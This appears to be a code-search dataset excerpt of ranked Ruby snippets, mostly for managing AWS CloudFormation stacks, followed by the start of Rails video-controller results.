"text": "def delete_aws_cf_stack(options)\n if not options['stack'].to_s.match(/[A-Z]|[a-z]|[0-9]/)\n handle_output(options,\"Warning:\\tNo AWS CloudFormation Stack Name given\")\n quit(options)\n end\n stacks = get_aws_cf_stacks(options)\n stacks.each do |stack|\n stack_name = stack.stack_name\n if options['stack'].to_s.match(/all/) or stack_name.match(/#{options['stack']}/)\n cf = initiate_aws_cf_client(options['access'],options['secret'],options['region'])\n handle_output(options,\"Information:\\tDeleting AWS CloudFormation Stack '#{stack_name}'\")\n begin\n cf.delete_stack({ stack_name: stack_name, })\n rescue Aws::CloudFormation::Errors::AccessDenied\n handle_output(options,\"Warning:\\tUser needs to be given appropriate rights in AWS IAM\")\n quit(options)\n end\n end\n end\n return\nend",
"title": ""
},
{
"docid": "1f29c01fba4c9264abfbd5dbaebb8c6b",
"score": "0.6260728",
"text": "def get_stacks\n self.get_stack_files.sort.map do |file|\n File.basename(file, \".rb\")\n end\n end",
"title": ""
},
{
"docid": "d27b1bdb212fc7387130e46290855728",
"score": "0.6231077",
"text": "def list_orchestration_stacks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_orchestration_stacks ...'\n end\n # resource path\n local_var_path = '/orchestration_stacks'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<OrchestrationStack>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_orchestration_stacks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "db9f781cf7e7063752cf37df7101cb3c",
"score": "0.62169445",
"text": "def stacks_client\n @stacks_client ||= Kontena::StacksClient.new(current_account.stacks_url, current_account.token, read_requires_token: current_account.stacks_read_authentication)\n end",
"title": ""
},
{
"docid": "405e7b96a96a5625189ac5083bc8467d",
"score": "0.6185985",
"text": "def get_stacks_log\n _get_log('stacks')\n end",
"title": ""
},
{
"docid": "3a5079a9c04e887d391df29f4162a0f4",
"score": "0.6173438",
"text": "def cf_stack\n @cf_stack ||= cf_stacks[@name]\n end",
"title": ""
},
{
"docid": "3a5079a9c04e887d391df29f4162a0f4",
"score": "0.6173438",
"text": "def cf_stack\n @cf_stack ||= cf_stacks[@name]\n end",
"title": ""
},
{
"docid": "1eb565fa3177dd369797b5ee3edd399a",
"score": "0.6147462",
"text": "def index\n @aws_security_group_tags = AwsSecurityGroupTag.all\n end",
"title": ""
},
{
"docid": "26ca31bbdd70f4b8ef883969a9883d16",
"score": "0.6116083",
"text": "def find_stack(stack_name)\n stacks = @client.describe_stacks()[:stacks]\n puts \"#{stacks.length} stacks found in total.\" if @verbose\n if stacks.length > 0\n stack = stacks.select{|s| s[:name] == stack_name}.first\n if stack\n return OpsWorksStack.build(self, stack, @verbose)\n else\n return nil\n end\n end\n end",
"title": ""
},
{
"docid": "d03e21c7998e00aa7e63f634918123b5",
"score": "0.6074378",
"text": "def index\n @stack_components = StackComponent.all\n end",
"title": ""
},
{
"docid": "d109d2c1ae2d48f05265acd5d4878ccc",
"score": "0.6023241",
"text": "def cf_resources_of(stack)\n resources = Hash.new do |h,k|\n if k == 'AWS::CloudFormation::Stack' || k == 'AWS::AutoScaling::AutoScalingGroup'\n h[k] = {}\n else\n h[k] = []\n end\n end\n\n stack.resources.each do |resource|\n type = resource.resource_type\n id = resource.physical_resource_id\n\n if type == 'AWS::CloudFormation::Stack'\n substack = cf_stacks[id]\n resources['AWS::CloudFormation::Stack'][substack.name] = cf_resources_of(substack)\n elsif type == 'AWS::AutoScaling::AutoScalingGroup'\n autoscale = AWS::AutoScaling.new(@task.aws_config)\n scale_group = autoscale.groups[id]\n resources['AWS::AutoScaling::AutoScalingGroup'][id] = {\n :min_size => scale_group.min_size,\n :max_size => scale_group.max_size,\n :desired_capacity => scale_group.desired_capacity\n }\n else\n resources[type].push(id)\n end\n end\n\n resources\n end",
"title": ""
},
{
"docid": "3966c90510e0261a2e76d499211a05bf",
"score": "0.6016382",
"text": "def list_source_orchestration_stacks(id, opts = {})\n data, _status_code, _headers = list_source_orchestration_stacks_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "3966c90510e0261a2e76d499211a05bf",
"score": "0.6016382",
"text": "def list_source_orchestration_stacks(id, opts = {})\n data, _status_code, _headers = list_source_orchestration_stacks_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "3f4e8275d2efebfb6d84c8048af9dc16",
"score": "0.60074586",
"text": "def list_source_region_orchestration_stacks(id, opts = {})\n data, _status_code, _headers = list_source_region_orchestration_stacks_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "5b35476d07a6b86be4ee8ea809602cbd",
"score": "0.6007239",
"text": "def stacks\n @stacks ||= StackSet.new self\n end",
"title": ""
},
{
"docid": "7ae53b8a2b7c7075b4e05241c048758a",
"score": "0.59915465",
"text": "def stack_items(id, opts={})\n get(\"/api/stacks/#{id}/items\", opts)\n end",
"title": ""
},
{
"docid": "19bad8f2020416eb68d5b2d612e6559f",
"score": "0.595329",
"text": "def target_stacks\n if @options[:stack].nil?\n #Extract stack from available instances\n @opsworks_ids.map{|x| x[:stack_id]}.uniq\n else\n #Lookup stack id from given\n @stack_ids.select{|x| x[:name].downcase == @options[:stack].downcase}.map{|x| x[:stack_id]}\n end\n end",
"title": ""
},
{
"docid": "d027fa01a2a43c739fe527d7ef2ad201",
"score": "0.59202594",
"text": "def resource_all(stack)\n result = request(\n :method => :get,\n :path => \"/terraform/resources/#{stack.name}\"\n )\n result.fetch(:body, :resources, []).map do |resource|\n Stack::Resource.new(\n stack,\n :id => resource[:physical_id],\n :name => resource[:name],\n :type => resource[:type],\n :logical_id => resource[:name],\n :state => resource[:status].downcase.to_sym,\n :status => resource[:status],\n :status_reason => resource[:resource_status_reason],\n :updated => resource[:updated_time].to_s.empty? ? Time.now : Time.parse(resource[:updated_time])\n ).valid_state\n end\n end",
"title": ""
},
{
"docid": "affbc3e287d44a0e3198223fbe81749b",
"score": "0.59079105",
"text": "def card_stacks\n ActiveModel::SerializableResource.new(object.card_stacks, each_serializer: CardStackSerializer)\n end",
"title": ""
},
{
"docid": "fca5c3b5f15ee8dc770ebd0f76fc8eeb",
"score": "0.5895791",
"text": "def does_cf_stack_exist()\n begin\n resp = @client.describe_stacks({\n stack_name: @stack_name,\n })\n rescue Aws::CloudFormation::Errors::ValidationError\n return false\n end\n return resp.size > 0\n end",
"title": ""
},
{
"docid": "fca5c3b5f15ee8dc770ebd0f76fc8eeb",
"score": "0.5895791",
"text": "def does_cf_stack_exist()\n begin\n resp = @client.describe_stacks({\n stack_name: @stack_name,\n })\n rescue Aws::CloudFormation::Errors::ValidationError\n return false\n end\n return resp.size > 0\n end",
"title": ""
},
{
"docid": "7ae20af81cb49517e1a2bca5f821c219",
"score": "0.5893309",
"text": "def stack(app_env)\n name, env = app_env.split(SEPERATOR)\n stacks = self.settings['stacks'] || {}\n stacks[name].try(\"[]\", env) || stacks['all']\n end",
"title": ""
},
{
"docid": "72b84a06d849bc9e07dd7141b8931815",
"score": "0.5871007",
"text": "def grab_stacks(h)\n stacks = []\n if h.is_a? Hash\n h.keys.each do |k|\n if k == \"CfnPPStack\" and h[k].has_key? \"result\"\n stacks.push(h[k][\"result\"])\n else\n stacks.concat(grab_stacks(h[k]))\n end\n end\n end\n return stacks\n end",
"title": ""
},
{
"docid": "d336f9510714d419f732f345f6625bf6",
"score": "0.5869533",
"text": "def find_stack\n stack_paths = Dir.glob(\"{app,vendor}/stacks/*\")\n stack_paths.select! do |path|\n select = Terraspace::Compiler::Select.new(path)\n select.selected?\n end\n mod_path = stack_paths.last\n unless mod_path\n logger.info \"No stacks found.\"\n exit 0\n end\n File.basename(mod_path) # mod name\n end",
"title": ""
},
{
"docid": "39245ee361029c88a2e3cc72ef369e57",
"score": "0.5831075",
"text": "def query_scg_list\n get_resource_list('compute', 'storage-connectivity-groups', 'storage_connectivity_groups', name = 'display_name', id = 'id')\n puts 'The list of SCGs in this PowerVC cloud are:'\n headers = ['Storage Connectivity Groups']\n print_table(headers, @resource_print_list)\n footer\n end",
"title": ""
},
{
"docid": "b0449d96115b90b00534008232ea4d09",
"score": "0.58220595",
"text": "def list(cost_center, stack=nil, *options)\n \t\t@logger.progname = \"#{self.class.name}:#{__method__.to_s}\"\n \t\t@logger.info {\"[Start] #{__method__.to_s}\"}\n\n \t\t# look up instances\n \t\tfilters = Array.new\n \t\tfilters << {name: \"tag:#{@config.aws[:tags][:cost_center]}\", values: cost_center}\n \t\tfilters << {name: \"tag:#{@config.aws[:tags][:stack]}\", values: stack} unless stack.nil?\n\n \t\tresp = desc_instances(filters)\n\n instances = []\n\n \t\tresp.reservations.each do |reservation|\n \t\t\treservation.instances.each do |instance|\n \t\t\t\tbegin\n \t\t\t\t\t@logger.info {\n \t\t\t\t\t\t\"#{instance.instance_id}: #{instance.tags.find{|tag| tag.key == \"Name\"}.value} (#{instance.state.name}), \" +\n \t\t\t\t\t\t\"StartTime: #{instance.tags.find{|tag| tag.key == \"#{@config.aws[:tags][:start_time]}\"}.value}, \" +\n \t\t\t\t\t\t\"StopTime: #{instance.tags.find{|tag| tag.key == \"#{@config.aws[:tags][:stop_time]}\"}.value}, \" +\n \t\t\t\t\t\t\"Expires: #{instance.tags.find{|tag| tag.key == \"#{@config.aws[:tags][:expiry_date]}\"}.value}, \" +\n \t\t\t\t\t\t\"Owner: #{instance.tags.find{|tag| tag.key == \"#{@config.aws[:tags][:owner]}\"}.value}, \" +\n \t\t\t\t\t\t\"InstanceType: #{instance.instance_type}\"\n \t\t\t\t\t}\n instances << instance\n \t\t\t\trescue Exception => e\n \t\t\t\t\t@logger.error e\n \t\t\t\t\te.backtrace.each { |line| @logger.error line }\n \t\t\t\t\tsend_notification([@administrator], \"#{@logger.progname} failed - #{instance.instance_id}\", \"Instance listing failed - #{e.message}\\n #{e.backtrace}\") unless @administrator.nil?\n \t\t\t\tend\n \t\t\tend\n \t\tend\n @logger.info {\"[Stop] #{__method__.to_s}\"}\n instances\n \tend",
"title": ""
},
{
"docid": "1648f84d292ebed0f11ffad1ef7cffd7",
"score": "0.5813925",
"text": "def get_stack_files\n Dir[Deployinator.root([\"stacks\", \"*.rb\"])]\n end",
"title": ""
},
{
"docid": "ba9980cceb93f4708d6adb6f1b6d8065",
"score": "0.57871497",
"text": "def create_aws_cf_stack(options)\n stack_name = options['q_struct']['stack_name'].value\n instance_type = options['q_struct']['instance_type'].value\n key_name = options['q_struct']['key_name'].value\n ssh_location = options['q_struct']['ssh_location'].value\n template_url = options['q_struct']['template_url'].value\n security_groups = options['q_struct']['security_groups'].value\n cf = initiate_aws_cf_client(options)\n handle_output(options,\"Information:\\tCreating AWS CloudFormation Stack '#{stack_name}'\")\n begin\n stack_id = cf.create_stack({\n stack_name: stack_name,\n template_url: template_url,\n parameters: [\n {\n parameter_key: \"InstanceType\",\n parameter_value: instance_type,\n },\n {\n parameter_key: \"KeyName\",\n parameter_value: key_name,\n },\n {\n parameter_key: \"SSHLocation\",\n parameter_value: ssh_location,\n },\n #{\n # parameter_key: \"SecurityGroups\",\n # parameter_value: security_groups,\n #},\n ],\n })\n rescue Aws::CloudFormation::Errors::AccessDenied\n handle_output(options,\"Warning:\\tUser needs to be given appropriate rights in AWS IAM\")\n quit(options)\n end\n stack_id = stack_id.stack_id\n handle_output(options,\"Information:\\tStack created with ID: #{stack_id}\")\n return\nend",
"title": ""
},
{
"docid": "0c64397658afcfeddd56bce181036b8d",
"score": "0.57826126",
"text": "def stack_exists?(stack_name)\n resp = cfn.describe_stacks(stack_name: stack_name)\n if resp.length > 0\n true\n else\n false\n end\nrescue ::Aws::CloudFormation::Errors::ValidationError\n false\nend",
"title": ""
},
{
"docid": "08e13877f1713c460f7fdd032f6b7fd7",
"score": "0.57743293",
"text": "def stack_name\n if not @stack[:name]\n @stack = @client.describe_stacks({:stack_ids => [stack_id]})[:stacks][0]\n end\n @stack[:name]\n end",
"title": ""
},
{
"docid": "5c84b81c3f36515b43ead05becdf1a85",
"score": "0.5756686",
"text": "def discover_stacks(stack)\n @stacks = [stack] + stack.nested_stacks.reverse\n end",
"title": ""
},
{
"docid": "97176c63a35ee26da7c3051b70d99ed4",
"score": "0.5741658",
"text": "def list_orchestration_stacks_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_orchestration_stacks ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_orchestration_stacks, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_orchestration_stacks, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling DefaultApi.list_orchestration_stacks, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/orchestration_stacks'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'OrchestrationStacksCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_orchestration_stacks\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "8898dd62930c71a1054038a7a90a913f",
"score": "0.5733278",
"text": "def query_image_scg_list\n query_image_list\n get_url('compute')\n @resource_id_list.each do |img|\n ind = @resource_id_list.index(img)\n puts \"The supported Storage Connectivity groups for the image #{@resource_name_list[ind]} are:\"\n response = rest_get(\"#{@resource_url}/images/#{img}/storage-connectivity-groups\", @token_id)\n response_array = JSON.parse(response)\n @response_hash = response_array['storage_connectivity_groups']\n @response_hash.each do |scg|\n puts scg['display_name']\n end\n end\n end",
"title": ""
},
{
"docid": "939becf732fb341eacabf44356323b31",
"score": "0.5707989",
"text": "def list()\n _params = {}\n return @master.call 'tags/list', _params\n end",
"title": ""
},
{
"docid": "10cbd0c8b90b20be4a7dbec6b17e2bfa",
"score": "0.57002693",
"text": "def stack( topic=nil, **options )\n\t\t\tresponse = self.server.run_with_json_template( :stack, topic, **options )\n\n\t\t\treturn response.map do |entryhash|\n\t\t\t\tHglib::Extension::Topic::StackEntry.new( self, entryhash )\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "1e2b1114ead31deaef901a2589c8a2ed",
"score": "0.5691477",
"text": "def list_regions\n ec2 = Aws::EC2::Client.new(\n region: 'eu-west-1'\n )\n regions = []\n # list all AWS regions\n regions_resp = ec2.describe_regions\n regions_resp.regions.each do |region|\n regions.push(region.region_name)\n end\n regions.sort!\nend",
"title": ""
},
{
"docid": "73e64aba49097dcac7758a5d4fc4d4e4",
"score": "0.5679332",
"text": "def list()\n _params = {}\n return @master.call 'tags/list', _params\n end",
"title": ""
},
{
"docid": "c6de90ddea4e2ec0d8e4fc9e4905cbd0",
"score": "0.56724226",
"text": "def get_security_groups\n ec2 = Fog::Compute::AWS.new(:aws_access_key_id => @access_key_id, :aws_secret_access_key => @secret_access_key, :region => @region)\n return ec2.describe_security_groups.body[\"securityGroupInfo\"] rescue []\n end",
"title": ""
},
{
"docid": "1e47ed3caaafc0291f423f039af51159",
"score": "0.5648295",
"text": "def index\n @stack_fields = StackField.all\n end",
"title": ""
},
{
"docid": "9a25f807d6c230e06da46f9983a55918",
"score": "0.56270456",
"text": "def add_orchestration_stacks\n add_collection(cloud, :orchestration_stacks) do |builder|\n builder.add_properties(:model_class => ::ManageIQ::Providers::Vmware::CloudManager::OrchestrationStack)\n end\n end",
"title": ""
},
{
"docid": "1c2236b00bb9af657f65c1d66cdc2fa9",
"score": "0.5625647",
"text": "def describe_stack_events(options = {})\n request({\n 'Action' => 'DescribeStackEvents',\n :parser => Fog::Parsers::AWS::CloudFormation::DescribeStackEvents.new\n }.merge!(options))\n end",
"title": ""
},
{
"docid": "e2b81456b1234fa94dbd6ff770b96353",
"score": "0.5607384",
"text": "def fetch_stacks(stack_id = nil)\n cache.locked_action(:stacks_lock) do\n logger.info \"Lock aquired for stack update. Requesting stacks from upstream. (#{Thread.current})\"\n if stack_id\n single_stack = connection.stacks.get(stack_id)\n stacks = single_stack ? {single_stack.id => single_stack} : {}\n else\n stacks = Hash[\n connection.stacks.reload.all.map do |stack|\n [stack.id, stack.attributes]\n end\n ]\n end\n if cache[:stacks].value\n existing_stacks = MultiJson.load(cache[:stacks].value)\n # Force common types\n stacks = MultiJson.load(MultiJson.dump(stacks))\n if stack_id\n stacks = existing_stacks.to_smash.deep_merge(stacks)\n else\n # Remove stacks that have been deleted\n stale_ids = existing_stacks.keys - stacks.keys\n stacks = existing_stacks.to_smash.deep_merge(stacks)\n stale_ids.each do |stale_id|\n stacks.delete(stale_id)\n end\n end\n end\n cache[:stacks].value = stacks.to_json\n logger.info \"Stack list has been updated from upstream and cached locally\"\n end\n @initial_fetch_complete = true\n end",
"title": ""
},
{
"docid": "3a4edba36fee1e14f743328d053ee25c",
"score": "0.5604669",
"text": "def describe_stack(stack_name)\n stacks = self.describe_stacks\n stacks.each do |stack|\n if stack[:stack_name] == stack_name\n return stack\n end\n end\n return nil\n end",
"title": ""
},
{
"docid": "32eb87f2ef000bf41cdbeafe7dec1d74",
"score": "0.5577892",
"text": "def resource_all(stack)\n terraform_stack(stack) do |tf_stack|\n tf_stack.resources.map do |resource|\n Stack::Resource.new(\n stack,\n :id => resource[:physical_id],\n :name => resource[:name],\n :type => resource[:type],\n :logical_id => resource[:name],\n :state => resource[:status].downcase.to_sym,\n :status => resource[:status],\n :status_reason => resource[:resource_status_reason],\n :updated => resource[:updated_time].to_s.empty? ? Time.now : Time.parse(resource[:updated_time])\n ).valid_state\n end\n end\n end",
"title": ""
},
{
"docid": "c1eed1385780a23a9f4ffa182d2ee52a",
"score": "0.557125",
"text": "def resource_groups\n vpc.cloudtools.resource.manager.collection(:list_resource_groups)\n end",
"title": ""
},
{
"docid": "5d0ed430f9f21415b1509a10f854caca",
"score": "0.5562198",
"text": "def showStackError(stack)\n region = stack['region']\n stack_name = getStackName(stack)\n begin\n resources = MU::Cloud::AWS.cloudformation(region: region).describe_stack_resources(:stack_name => stack_name)\n\n MU.log \"CloudFormation stack #{stack_name} failed\", MU::ERR\n\n resources[:stack_resources].each { |resource|\n MU.log \"#{resource.resource_type} #{resource.resource_status} #{resource.resource_status_reason }\", MU::ERR\n }\n rescue Aws::CloudFormation::Errors::ValidationError => e\n MU.log e.inspect, MU::ERR, details: e.backtrace\n end\n end",
"title": ""
},
{
"docid": "3b1ba444075e41df0e568017ecd491f6",
"score": "0.55604637",
"text": "def stack\n return @stack ||= []\n end",
"title": ""
},
{
"docid": "55ad2fb02c184a0eac164473c673cf5c",
"score": "0.5544281",
"text": "def stack\n\t\t\treturn self.repo.stack( self.name )\n\t\tend",
"title": ""
},
{
"docid": "d106d76edd3d222748cdc70be3d408e1",
"score": "0.5526881",
"text": "def stack_types(stacks)\n stacks.keys.sort\n end",
"title": ""
},
{
"docid": "d106d76edd3d222748cdc70be3d408e1",
"score": "0.5526881",
"text": "def stack_types(stacks)\n stacks.keys.sort\n end",
"title": ""
},
{
"docid": "1268a8a325197a2b36e48121703991a6",
"score": "0.55188304",
"text": "def stack\n @stack_resource ||= Stack.new(@client)\n end",
"title": ""
},
{
"docid": "1268a8a325197a2b36e48121703991a6",
"score": "0.55188304",
"text": "def stack\n @stack_resource ||= Stack.new(@client)\n end",
"title": ""
},
{
"docid": "5beb0cd68c708f48e34ff5a82664e3aa",
"score": "0.5511871",
"text": "def check_if_aws_cf_stack_exists(options)\n exists = false\n stacks = get_aws_cf_stacks(options)\n stacks.each do |stack|\n stack_name = stack.stack_name\n if stack_name.match(/#{options['name']}/)\n exists = true\n return exists\n end\n end\n return exists\nend",
"title": ""
},
{
"docid": "0b44ca6869edc528ae22fc0f9d46a530",
"score": "0.5511227",
"text": "def layers\n stack_layers.map(&:name)\n end",
"title": ""
},
{
"docid": "1ddb78d0ee8a4bfe3c94fc3105f6856e",
"score": "0.54948825",
"text": "def aws_regions_list(access, secret)\n create_ec2_client(access, secret, 'us-west-2').describe_regions.regions.map { |record| record['region_name'] }\nend",
"title": ""
},
{
"docid": "150d8e79fd9601ca8594be0ffb6e2960",
"score": "0.5489274",
"text": "def showStackError(stack)\n\t\t\tregion = stack['region']\n\t\t\tstack_name = getStackName(stack)\n\t\t\tbegin\n\t\t\t\tresources = MU.cloudformation(region).describe_stack_resources(:stack_name => stack_name)\n\n\t\t\t\tMU.log \"CloudFormation stack #{stack_name} failed\", MU::ERR\n\n\t\t\t\tresources[:stack_resources].each { |resource|\n\t\t\t\t\tMU.log \"#{resource.resource_type} #{resource.resource_status} #{resource.resource_status_reason }\", MU::ERR\n\t\t\t\t}\n\t\t\trescue Aws::CloudFormation::Errors::ValidationError => e\n\t\t\t\tMU.log e.inspect, MU::ERR, details: e.backtrace\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "369784a6f7dda0b2657d9e00ac1b4745",
"score": "0.548728",
"text": "def free_templates\n deployed = client.stacks.map(&:name)\n universe = AwsCftTools::TemplateSet.new(client.templates.select do |template|\n deployed.include?(template.name)\n end)\n universe.closed_subset(templates).reverse\n end",
"title": ""
},
{
"docid": "27bbd8bd32add71c943ec71824568a1a",
"score": "0.5486084",
"text": "def delete_cf_stack(stack_name)\n return unless stack_name\n puts \"\"\n puts \"Destroying AWS CloudFormation stack '#{stack_name}' at '#{ aws_region}' region\"\n puts \" NOTE: this command doesn't ensure deletion of the stack. \"\n puts \" It is advised to check later that the stack has been really destroyed\"\n puts \"\"\n \n begin\n cloud_formation.delete_stack(stack_name)\n rescue Excon::Errors::BadRequest => excon_error\n error_str = XmlSimple.xml_in(excon_error.response.body)['Error'][0]['Message'][0]\n puts \"ERROR: Cannot delete the stack '#{stack_name}' : #{error_str}\"\n rescue Excon::Errors::Forbidden => excon_error\n error_str = XmlSimple.xml_in(excon_error.response.body)['Error'][0]['Message'][0]\n puts \"ERROR: Cannot delete the stack '#{stack_name}' : #{error_str}\"\n rescue Exception => e\n puts \"ERROR: Cannot delete the stack '#{stack_name}' : #{e.class.name}: #{e.message}\"\n end\n end",
"title": ""
},
{
"docid": "10c300c79a9f187ec459d84762ba4893",
"score": "0.5484608",
"text": "def describe_stack_events(stack_name, options = {})\n request({\n 'Action' => 'DescribeStackEvents',\n 'StackName' => stack_name,\n :parser => Fog::Parsers::AWS::CloudFormation::DescribeStackEvents.new\n }.merge!(options))\n end",
"title": ""
},
{
"docid": "7a8f579c70439decd96bcf3fa6afac1c",
"score": "0.5478468",
"text": "def index\n @aws_internet_gateway_tags = AwsInternetGatewayTag.all\n end",
"title": ""
},
{
"docid": "e9cc1c9d15e977fcf98d769beca82b8a",
"score": "0.54614973",
"text": "def photos\n photos = []\n stacks.photos.all.each do |stack|\n photos << stack.stackable\n end\n photos\n end",
"title": ""
},
{
"docid": "241a23b12efdb40b597de919576cea86",
"score": "0.54602885",
"text": "def show\n @stack = Stack.find(params[:id])\n\n render json: @stack\n end",
"title": ""
},
{
"docid": "cf364b2f4c1da0cb2c29ed3d47c461b4",
"score": "0.5459315",
"text": "def list_buckets\n Service.buckets\n end",
"title": ""
},
{
"docid": "931f11db3653e2ac763036f44f33da9d",
"score": "0.545246",
"text": "def list_subscription_orchestration_stacks(id, opts = {})\n data, _status_code, _headers = list_subscription_orchestration_stacks_with_http_info(id, opts)\n data\n end",
"title": ""
},
{
"docid": "e2c90dd89dbc659098bed7bafb728aa2",
"score": "0.54354364",
"text": "def index\n @stacks = if params[:user_id]\n Stack.where(user_id: params[:user_id])\n else\n Stack\n end.page params[:page]\n end",
"title": ""
},
{
"docid": "50d1907cd639e235c52d102907ad026b",
"score": "0.5408736",
"text": "def events(options = {})\n return @cloud_formation.describe_stack_events(options[:stack_name])\n end",
"title": ""
},
{
"docid": "09deba81073db37be13080dc99a20d07",
"score": "0.54079443",
"text": "def stack\n @stack ||= []\n end",
"title": ""
},
{
"docid": "7e8ee35482a592dccfcf6b1065c29273",
"score": "0.540579",
"text": "def ec2_instances_from(resources)\n instances = resources['AWS::EC2::Instance'] || []\n resources['AWS::CloudFormation::Stack'].each do |substack, substack_resources|\n instances += ec2_instances_from(substack_resources)\n end\n instances\n end",
"title": ""
},
{
"docid": "f9b5abc0ac488c7025e2d5e60c1ddfe3",
"score": "0.53936607",
"text": "def stack\n @stack ||= []\n end",
"title": ""
},
{
"docid": "f9b5abc0ac488c7025e2d5e60c1ddfe3",
"score": "0.53936607",
"text": "def stack\n @stack ||= []\n end",
"title": ""
},
{
"docid": "af7a36fc9becde871d8ae335e7746ccf",
"score": "0.5393145",
"text": "def getDeployedEnvs()\n envArray = Array.new\n stacks = @cfUtil.getKeystoneStacks('keystone-2-')\n stacks.each do |stack|\n stk = stack.downcase\n if stk.include? '-common-'\n env = stk.split('keystone-2-').last.partition('-common').first\n elsif stk.include? '-nagift-'\n env = stk.split('keystone-2-').last.partition('-nagift').first\n elsif stk.include? '-igift-'\n env = stk.split('keystone-2-').last.partition('-igift').first\n elsif stk.include? '-cloop-'\n env = stk.split('keystone-2-').last.partition('-cloop').first\n elsif stk.include? '-bes-'\n env = stk.split('keystone-2-').last.partition('-bes').first\n else\n puts \"getDeployedEnvs: Error: keystone-2- not found in stack name #{stack}\"\n end\n envArray << env.upcase unless env.nil?\n end\n envArray.uniq\n end",
"title": ""
},
{
"docid": "b0338f89643efbda42badbcfcf1a49d2",
"score": "0.5393103",
"text": "def query_bucket_list\n begin\n stdout, stderr, status = Open3.capture3('aws s3api list-buckets')\n rescue StandardError\n raise('Error: ' + status + 'Failed to recover buckets list: (' + stderr + ')')\n end\n\n JSON.parse(stdout)['Buckets'].each do |bucket|\n @bucket_list.push(bucket)\n end\n @bucket_list.uniq!\n end",
"title": ""
}
] |
90e92dabbcc0249e45186401e431f0b5 | GET /videos/1 GET /videos/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "fa4650928c92a5eca6789239e3cadb9c",
"score": "0.79387313",
"text": "def show\n @api_v1_video = Api::V1::Video.find(params[:id])\n\n render json: @api_v1_video\n end",
"title": ""
},
{
"docid": "a23736874359c6932c4592c34c695148",
"score": "0.7522829",
"text": "def show\n @video = Video.find(params[:id])\n\n\n respond_to do |format|\n format.html {\n }\n\n format.json {\n render json: { video: @video }\n }\n end\n\n end",
"title": ""
},
{
"docid": "1d29ce1e84c8bb9b6c8c66deb98f51ff",
"score": "0.75137013",
"text": "def get_video\n video = Video.find(params[:video_id])\n if video\n render json: video\n else\n render json:{\n status: 500\n }\n end\n end",
"title": ""
},
{
"docid": "5924bd15508e8a45ccf1116353146c98",
"score": "0.74205995",
"text": "def video(video_id)\n make_request(:get, \"/videos/#{video_id}\")\n end",
"title": ""
},
{
"docid": "61ec480da953d3ffaf9fb7f9e4ad49e2",
"score": "0.73798877",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "61ec480da953d3ffaf9fb7f9e4ad49e2",
"score": "0.73798877",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "61ec480da953d3ffaf9fb7f9e4ad49e2",
"score": "0.73798877",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "61ec480da953d3ffaf9fb7f9e4ad49e2",
"score": "0.73798877",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "61ec480da953d3ffaf9fb7f9e4ad49e2",
"score": "0.73798877",
"text": "def show\n @video = Video.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @video }\n end\n end",
"title": ""
},
{
"docid": "61ec480da953d3ffaf9fb7f9e4ad49e2",
"score": "0.73798877",
